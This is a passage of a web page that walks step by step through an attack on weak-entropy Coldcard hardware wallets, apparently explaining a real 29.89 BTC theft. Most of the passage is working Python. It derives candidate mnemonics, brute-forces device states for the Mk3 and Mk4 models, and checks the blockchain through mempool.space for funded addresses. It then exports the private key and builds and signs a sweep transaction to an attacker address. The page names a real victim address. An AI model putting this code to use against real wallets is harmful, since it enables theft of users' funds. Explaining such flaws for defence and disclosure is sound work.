    <a href="#3-from-entropy-to-a-bitcoin-address" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
</span></span></span><span class="line"><span class="cl"><span class="s2">    and the first native SegWit receiving and change addresses.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.</p>
<p><strong>Example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Query the public blockchain as an oracle<span class="hx:absolute hx:-mt-20" id="4-query-the-public-blockchain-as-an-oracle"></span>
    <a href="#4-query-the-public-blockchain-as-an-oracle" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True if the address has any UTXO according to mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;error querying&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.</p>
<p><strong>Non-hit example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The attacker discards it and moves to the next candidate.</p>
<p><strong>Hit example</strong> (the real victim address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, before the sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>When <code>has_utxo</code> returns <code>True</code>, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.</p>
<h3>5. Enumerate candidates and hunt<span class="hx:absolute hx:-mt-20" id="5-enumerate-candidates-and-hunt"></span>
    <a href="#5-enumerate-candidates-and-hunt" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
</span></span></span><span class="line"><span class="cl"><span class="s2">    In practice the attacker uses GPUs/FPGAs and constrains the UID from
</span></span></span><span class="line"><span class="cl"><span class="s2">    the device serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
</span></span></span><span class="line"><span class="cl"><span class="s2">    the 2^32 possible secure-element reseed values.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;HIT!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  address :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Didactic example: use a known UID and a reduced Mk3 generator.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What they do:</strong> <code>brute_mk3</code> scans plausible states for Mk3; <code>brute_mk4</code> scans the 2^32 secure-element reseeds; <code>hunt</code> is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.</p>
<h2>After finding the collision<span class="hx:absolute hx:-mt-20" id="after-finding-the-collision"></span>
    <a href="#after-finding-the-collision" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When <code>hunt</code> returns, the attacker already has the <code>mnemonic</code> and the funded address. From there, they get the private key:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Compressed WIF:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Address       :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Typical output:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>That WIF is the private key in a format any wallet understands. From here the attacker can:</p>
<ol>
<li><strong>Import the seed or the WIF</strong> into Sparrow, Electrum, or another wallet.</li>
<li><strong>Rescan</strong> the blockchain to see all UTXOs for that seed.</li>
<li><strong>Build a transaction</strong> sending the funds to an address they control.</li>
<li><strong>Sign and broadcast</strong>.</li>
</ol>
<h3>Concrete sweep example<span class="hx:absolute hx:-mt-20" id="concrete-sweep-example"></span>
    <a href="#concrete-sweep-example" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the real case, the attacker swept the 29.89251877 BTC UTXO from address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># key recovered from the collided seed</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, in satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># fee in satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># what is left for the attacker</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># victim UTXO txid</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># attacker address</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A valid signed transaction looks like this (hex truncated):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
